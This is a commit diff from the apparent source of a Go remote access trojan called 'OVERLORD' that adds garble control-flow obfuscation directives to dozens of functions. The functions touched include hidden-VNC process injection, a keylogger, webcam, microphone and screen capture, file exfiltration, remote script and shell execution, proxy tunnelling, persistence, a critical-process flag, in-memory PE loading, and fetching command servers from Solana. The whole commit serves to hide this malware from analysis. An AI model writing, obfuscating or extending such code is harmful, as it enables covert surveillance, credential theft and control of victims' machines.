add control flow obf for garble
This commit is contained in:
@@ -25,6 +25,7 @@ var (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func Start(ctx context.Context, env *runtime.Env) error {
|
func Start(ctx context.Context, env *runtime.Env) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if env == nil {
|
if env == nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -173,6 +173,7 @@ func findSystemCaptureDevice(ctx malgo.Context) (*malgo.DeviceID, string, bool)
|
|||||||
}
|
}
|
||||||
|
|
||||||
func StartVoiceSession(parent context.Context, source string, onCapture func([]byte)) (*Session, error) {
|
func StartVoiceSession(parent context.Context, source string, onCapture func([]byte)) (*Session, error) {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if onCapture == nil {
|
if onCapture == nil {
|
||||||
return nil, errors.New("voice capture callback is required")
|
return nil, errors.New("voice capture callback is required")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -32,6 +32,7 @@ func supportsCapture() bool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func captureAndSend(ctx context.Context, env *rt.Env) error {
|
func captureAndSend(ctx context.Context, env *rt.Env) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if safeDisplayCount() == 0 {
|
if safeDisplayCount() == 0 {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -23,6 +23,7 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func Loop(ctx context.Context, env *rt.Env) {
|
func Loop(ctx context.Context, env *rt.Env) {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
defer recoverAndLog("capture loop", env.Cancel)
|
defer recoverAndLog("capture loop", env.Cancel)
|
||||||
logCodecSupport()
|
logCodecSupport()
|
||||||
|
|
||||||
@@ -85,6 +86,7 @@ func CaptureDisplayRGBA(display int) (*image.RGBA, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func CaptureAndSend(ctx context.Context, env *rt.Env) error {
|
func CaptureAndSend(ctx context.Context, env *rt.Env) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
defer recoverAndLog("capture send", env.Cancel)
|
defer recoverAndLog("capture send", env.Cancel)
|
||||||
|
|
||||||
displays := activeDisplays()
|
displays := activeDisplays()
|
||||||
|
|||||||
@@ -754,6 +754,7 @@ func calcDirSize(dir string) int64 {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
|
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if filePath == "" {
|
if filePath == "" {
|
||||||
return 0, fmt.Errorf("empty file path")
|
return 0, fmt.Errorf("empty file path")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -805,6 +805,7 @@ func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
|
func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
captureMu.Lock()
|
captureMu.Lock()
|
||||||
defer captureMu.Unlock()
|
defer captureMu.Unlock()
|
||||||
|
|
||||||
@@ -995,6 +996,7 @@ func isExplorerRunningToolhelp() bool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func hvncMouseMoveOnThread(display int, x, y int32) error {
|
func hvncMouseMoveOnThread(display int, x, y int32) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
bounds, _ := hvncResolveCaptureBounds(display)
|
bounds, _ := hvncResolveCaptureBounds(display)
|
||||||
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
||||||
hvncInputMu.Lock()
|
hvncInputMu.Lock()
|
||||||
@@ -1059,6 +1061,7 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func hvncMouseButtonOnThread(button int, down bool) error {
|
func hvncMouseButtonOnThread(button int, down bool) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
pt := currentHVNCCursor()
|
pt := currentHVNCCursor()
|
||||||
|
|
||||||
if button == 0 && !down {
|
if button == 0 && !down {
|
||||||
@@ -1169,6 +1172,7 @@ func hvncMouseButtonOnThread(button int, down bool) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func hvncKeyOnThread(vk uint16, down bool) error {
|
func hvncKeyOnThread(vk uint16, down bool) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
pt := currentHVNCCursor()
|
pt := currentHVNCCursor()
|
||||||
hwnd := windowFromPoint(pt)
|
hwnd := windowFromPoint(pt)
|
||||||
if hwnd == 0 {
|
if hwnd == 0 {
|
||||||
|
|||||||
@@ -75,6 +75,7 @@ type Config struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func Load() Config {
|
func Load() Config {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
server := strings.TrimSpace(os.Getenv("OVERLORD_SERVER"))
|
server := strings.TrimSpace(os.Getenv("OVERLORD_SERVER"))
|
||||||
if server == "" {
|
if server == "" {
|
||||||
server = DefaultServerURL
|
server = DefaultServerURL
|
||||||
|
|||||||
@@ -18,6 +18,7 @@ type Identity struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func DeriveIdentity() Identity {
|
func DeriveIdentity() Identity {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
hwid := deriveHWID()
|
hwid := deriveHWID()
|
||||||
machineID := platformMachineID()
|
machineID := platformMachineID()
|
||||||
if machineID == "" {
|
if machineID == "" {
|
||||||
|
|||||||
@@ -62,6 +62,7 @@ type parsedInstruction struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func LoadServerURLsFromSolana(solAddress, agentToken string, rpcEndpoints []string) ([]string, error) {
|
func LoadServerURLsFromSolana(solAddress, agentToken string, rpcEndpoints []string) ([]string, error) {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if solAddress == "" {
|
if solAddress == "" {
|
||||||
return nil, fmt.Errorf("solana address is empty")
|
return nil, fmt.Errorf("solana address is empty")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -34,6 +34,7 @@ func shellCommand() []string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func Start(ctx context.Context, env *rt.Env, sessionID string, _ int, _ int) error {
|
func Start(ctx context.Context, env *rt.Env, sessionID string, _ int, _ int) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if sessionID == "" {
|
if sessionID == "" {
|
||||||
return errors.New("session id required")
|
return errors.New("session id required")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ import (
|
|||||||
const crashLogFileName = "crashlogC.log"
|
const crashLogFileName = "crashlogC.log"
|
||||||
|
|
||||||
func handleFatalPanic() {
|
func handleFatalPanic() {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if r := recover(); r != nil {
|
if r := recover(); r != nil {
|
||||||
reason := fmt.Sprintf("panic: %v", r)
|
reason := fmt.Sprintf("panic: %v", r)
|
||||||
stack := debug.Stack()
|
stack := debug.Stack()
|
||||||
|
|||||||
@@ -19,6 +19,7 @@ var (
|
|||||||
const processBreakOnTermination = 29
|
const processBreakOnTermination = 29
|
||||||
|
|
||||||
func Setup() {
|
func Setup() {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if !windows.GetCurrentProcessToken().IsElevated() {
|
if !windows.GetCurrentProcessToken().IsElevated() {
|
||||||
log.Printf("[criticalproc] not running as administrator, skipping critical process flag")
|
log.Printf("[criticalproc] not running as administrator, skipping critical process flag")
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -18,6 +18,7 @@ var SkipDirs = map[string]bool{
|
|||||||
type ResultFunc func(path string)
|
type ResultFunc func(path string)
|
||||||
|
|
||||||
func LookupExe(exeName string, workers int, onResult ResultFunc) {
|
func LookupExe(exeName string, workers int, onResult ResultFunc) {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if workers <= 0 {
|
if workers <= 0 {
|
||||||
workers = 8
|
workers = 8
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -18,6 +18,7 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string, hideWindow bool) error {
|
func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string, hideWindow bool) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
sourcePath = strings.TrimSpace(sourcePath)
|
sourcePath = strings.TrimSpace(sourcePath)
|
||||||
if sourcePath == "" {
|
if sourcePath == "" {
|
||||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"})
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"})
|
||||||
|
|||||||
@@ -536,6 +536,7 @@ func extractCaptureDLLBytes(payload map[string]interface{}) []byte {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
cmdID, _ := envelope["id"].(string)
|
cmdID, _ := envelope["id"].(string)
|
||||||
action, _ := envelope["commandType"].(string)
|
action, _ := envelope["commandType"].(string)
|
||||||
|
|
||||||
|
|||||||
@@ -27,6 +27,7 @@ func GetPersistedDisplay() int {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func DesktopStart(ctx context.Context, env *rt.Env) error {
|
func DesktopStart(ctx context.Context, env *rt.Env) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 120)
|
interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 120)
|
||||||
if fps < 60 {
|
if fps < 60 {
|
||||||
fps = 60
|
fps = 60
|
||||||
|
|||||||
@@ -156,6 +156,7 @@ func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string)
|
|||||||
}
|
}
|
||||||
|
|
||||||
func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
log.Printf("file_download: %s", path)
|
log.Printf("file_download: %s", path)
|
||||||
|
|
||||||
file, err := os.Open(path)
|
file, err := os.Open(path)
|
||||||
@@ -239,6 +240,7 @@ func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string
|
|||||||
}
|
}
|
||||||
|
|
||||||
func HandleFileUpload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, data []byte, offset int64, total int64, transferID string) error {
|
func HandleFileUpload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, data []byte, offset int64, total int64, transferID string) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if total > 0 {
|
if total > 0 {
|
||||||
key := uploadKey(path, transferID)
|
key := uploadKey(path, transferID)
|
||||||
pendingUploadsMu.Lock()
|
pendingUploadsMu.Lock()
|
||||||
@@ -720,6 +722,7 @@ func HandleFileZip(ctx context.Context, env *agentRuntime.Env, cmdID string, sou
|
|||||||
}
|
}
|
||||||
|
|
||||||
func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, maxSize int64) error {
|
func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, maxSize int64) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
log.Printf("file_read: %s", path)
|
log.Printf("file_read: %s", path)
|
||||||
|
|
||||||
if maxSize == 0 {
|
if maxSize == 0 {
|
||||||
@@ -771,6 +774,7 @@ func HandleFileRead(ctx context.Context, env *agentRuntime.Env, cmdID string, pa
|
|||||||
}
|
}
|
||||||
|
|
||||||
func HandleFileWrite(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, content string) error {
|
func HandleFileWrite(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, content string) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
log.Printf("file_write: %s", path)
|
log.Printf("file_write: %s", path)
|
||||||
|
|
||||||
dir := filepath.Dir(path)
|
dir := filepath.Dir(path)
|
||||||
@@ -1016,6 +1020,7 @@ func HandleFileChmod(ctx context.Context, env *agentRuntime.Env, cmdID string, p
|
|||||||
}
|
}
|
||||||
|
|
||||||
func HandleFileExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
func HandleFileExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
log.Printf("file_execute: %s", path)
|
log.Printf("file_execute: %s", path)
|
||||||
|
|
||||||
err := ExecuteFile(path)
|
err := ExecuteFile(path)
|
||||||
|
|||||||
@@ -27,6 +27,7 @@ func GetPersistedHVNCDisplay() int {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
|
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
|
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
|
||||||
capture.SetH264TargetFPS(fps)
|
capture.SetH264TargetFPS(fps)
|
||||||
log.Printf("hvnc: starting stream (max fps %d)", fps)
|
log.Printf("hvnc: starting stream (max fps %d)", fps)
|
||||||
|
|||||||
@@ -98,6 +98,7 @@ func sendMouseUp(button int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func sendMouseInput(flags uint32, mouseData uint32) {
|
func sendMouseInput(flags uint32, mouseData uint32) {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
var inp input
|
var inp input
|
||||||
inp.inputType = INPUT_MOUSE
|
inp.inputType = INPUT_MOUSE
|
||||||
mi := (*mouseInput)(unsafe.Pointer(&inp.union[0]))
|
mi := (*mouseInput)(unsafe.Pointer(&inp.union[0]))
|
||||||
@@ -165,6 +166,7 @@ func sendKeyUp(vk uint16) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func sendKeyInput(vk uint16, keyUp bool) {
|
func sendKeyInput(vk uint16, keyUp bool) {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
var inp input
|
var inp input
|
||||||
inp.inputType = INPUT_KEYBOARD
|
inp.inputType = INPUT_KEYBOARD
|
||||||
ki := (*keybdInput)(unsafe.Pointer(&inp.union[0]))
|
ki := (*keybdInput)(unsafe.Pointer(&inp.union[0]))
|
||||||
|
|||||||
@@ -50,6 +50,7 @@ func HandleKeylogList(ctx context.Context, env *runtime.Env, cmdID string) error
|
|||||||
}
|
}
|
||||||
|
|
||||||
func HandleKeylogRetrieve(ctx context.Context, env *runtime.Env, cmdID string, filename string) error {
|
func HandleKeylogRetrieve(ctx context.Context, env *runtime.Env, cmdID string, filename string) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if env.Keylogger == nil {
|
if env.Keylogger == nil {
|
||||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||||
"type": "command_result",
|
"type": "command_result",
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func HandlePluginEvent(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
func HandlePluginEvent(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if env.Plugins == nil {
|
if env.Plugins == nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -33,6 +33,7 @@ func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) erro
|
|||||||
}
|
}
|
||||||
|
|
||||||
func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
|
func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
log.Printf("process_kill: %d", pid)
|
log.Printf("process_kill: %d", pid)
|
||||||
|
|
||||||
err := killProcess(pid)
|
err := killProcess(pid)
|
||||||
|
|||||||
@@ -24,6 +24,7 @@ var (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplays bool) error {
|
func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplays bool) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
restore := capture.BypassResolutionCap()
|
restore := capture.BypassResolutionCap()
|
||||||
defer restore()
|
defer restore()
|
||||||
|
|
||||||
|
|||||||
@@ -13,6 +13,7 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error {
|
func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent))
|
log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent))
|
||||||
|
|
||||||
var cmd *exec.Cmd
|
var cmd *exec.Cmd
|
||||||
|
|||||||
@@ -23,6 +23,7 @@ type tunnelConn struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func HandleProxyConnect(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error {
|
func HandleProxyConnect(ctx context.Context, env *runtime.Env, connID string, payload map[string]interface{}) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
host, _ := payload["host"].(string)
|
host, _ := payload["host"].(string)
|
||||||
portRaw := payload["port"]
|
portRaw := payload["port"]
|
||||||
var port int
|
var port int
|
||||||
|
|||||||
@@ -10,6 +10,7 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func WebcamStart(ctx context.Context, env *rt.Env) error {
|
func WebcamStart(ctx context.Context, env *rt.Env) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
fps := env.WebcamFPS
|
fps := env.WebcamFPS
|
||||||
if fps <= 0 {
|
if fps <= 0 {
|
||||||
fps = 30
|
fps = 30
|
||||||
|
|||||||
@@ -40,6 +40,7 @@ func New() *Keylogger {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (k *Keylogger) Start() error {
|
func (k *Keylogger) Start() error {
|
||||||
|
//garble:controlflow block_splits=max junk_jumps=max flatten_passes=max
|
||||||
k.mu.Lock()
|
k.mu.Lock()
|
||||||
if k.running {
|
if k.running {
|
||||||
k.mu.Unlock()
|
k.mu.Unlock()
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
cfg := config.Load()
|
cfg := config.Load()
|
||||||
|
|
||||||
if cfg.SleepSeconds > 0 {
|
if cfg.SleepSeconds > 0 {
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func Acquire(name string) (func(), bool, error) {
|
func Acquire(name string) (func(), bool, error) {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if name == "" {
|
if name == "" {
|
||||||
return func() {}, true, nil
|
return func() {}, true, nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -195,6 +195,7 @@ func runPowerShell(script string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func install(exePath string) error {
|
func install(exePath string) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if len(persistInstallFns) == 0 {
|
if len(persistInstallFns) == 0 {
|
||||||
if err := installStartupImpl(exePath); err != nil {
|
if err := installStartupImpl(exePath); err != nil {
|
||||||
return err
|
return err
|
||||||
|
|||||||
@@ -122,6 +122,7 @@ func (m *Manager) FinalizeBundle(ctx context.Context, pluginId string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (m *Manager) Load(ctx context.Context, manifest PluginManifest, binary []byte) error {
|
func (m *Manager) Load(ctx context.Context, manifest PluginManifest, binary []byte) error {
|
||||||
|
//garble:controlflow block_splits=max junk_jumps=max flatten_passes=max
|
||||||
if len(binary) == 0 {
|
if len(binary) == 0 {
|
||||||
return errors.New("empty plugin binary")
|
return errors.New("empty plugin binary")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -139,6 +139,7 @@ type MemoryModule struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func LoadMemoryModule(data []byte) (*MemoryModule, error) {
|
func LoadMemoryModule(data []byte) (*MemoryModule, error) {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if len(data) < int(unsafe.Sizeof(imageDOSHeader{})) {
|
if len(data) < int(unsafe.Sizeof(imageDOSHeader{})) {
|
||||||
return nil, errors.New("pe: data too small for DOS header")
|
return nil, errors.New("pe: data too small for DOS header")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -51,6 +51,7 @@ func isRunningInMemory() bool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func runClient(cfg config.Config) {
|
func runClient(cfg config.Config) {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
baseBackoff := computeBaseBackoff()
|
baseBackoff := computeBaseBackoff()
|
||||||
backoff := baseBackoff
|
backoff := baseBackoff
|
||||||
log.Printf("runtime GOOS=%s GOARCH=%s cfg.OS=%s cfg.Arch=%s", runtime.GOOS, runtime.GOARCH, cfg.OS, cfg.Arch)
|
log.Printf("runtime GOOS=%s GOARCH=%s cfg.OS=%s cfg.Arch=%s", runtime.GOOS, runtime.GOARCH, cfg.OS, cfg.Arch)
|
||||||
@@ -518,6 +519,7 @@ func truncateStr(s string, n int) string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.Conn, cfg config.Config) (err error) {
|
func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.Conn, cfg config.Config) (err error) {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
defer func() {
|
defer func() {
|
||||||
if r := recover(); r != nil {
|
if r := recover(); r != nil {
|
||||||
reason := fmt.Sprintf("session panic: %v", r)
|
reason := fmt.Sprintf("session panic: %v", r)
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package main
|
|||||||
import "time"
|
import "time"
|
||||||
|
|
||||||
func sleepObfuscated(seconds int) {
|
func sleepObfuscated(seconds int) {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
if seconds <= 0 {
|
if seconds <= 0 {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,5 +7,6 @@ type Info struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func Collect() Info {
|
func Collect() Info {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
return collectPlatform()
|
return collectPlatform()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package wire
|
|||||||
import "github.com/vmihailenco/msgpack/v5"
|
import "github.com/vmihailenco/msgpack/v5"
|
||||||
|
|
||||||
func DecodeEnvelope(data []byte) (map[string]interface{}, error) {
|
func DecodeEnvelope(data []byte) (map[string]interface{}, error) {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
env := make(map[string]interface{})
|
env := make(map[string]interface{})
|
||||||
if err := msgpack.Unmarshal(data, &env); err != nil {
|
if err := msgpack.Unmarshal(data, &env); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ type Writer interface {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func WriteMsg(ctx context.Context, w Writer, v interface{}) error {
|
func WriteMsg(ctx context.Context, w Writer, v interface{}) error {
|
||||||
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||||
payload, err := msgpack.Marshal(v)
|
payload, err := msgpack.Marshal(v)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
|
|||||||
Reference in New Issue
Block a user